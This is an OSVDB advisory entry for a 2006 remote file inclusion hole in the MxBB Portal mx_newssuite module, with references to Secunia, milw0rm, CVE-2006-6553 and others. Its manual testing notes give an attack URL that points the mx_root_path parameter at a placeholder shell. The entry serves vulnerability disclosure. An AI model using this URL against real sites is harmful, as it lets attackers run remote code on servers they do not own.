MxBB Portal mx_newssuite Module newssuite_constants.php mx_root_path Variable Remote File Inclusion

2006-12-12T06:33:44
ID OSVDB:31234
Type osvdb
Reporter OSVDB
Modified 2006-12-12T06:33:44

Description

Manual Testing Notes

http://[target]/mxBB/modules/mx_newssuite/includes/newssuite_constants.php?mx_root_path=[shell]

References:

Vendor URL: http://www.mx-system.com/ Secunia Advisory ID:23358 Other Advisory URL: http://www.milw0rm.com/exploits/2925 ISS X-Force ID: 30855 FrSIRT Advisory: ADV-2006-4981 CVE-2006-6553 Bugtraq ID: 21573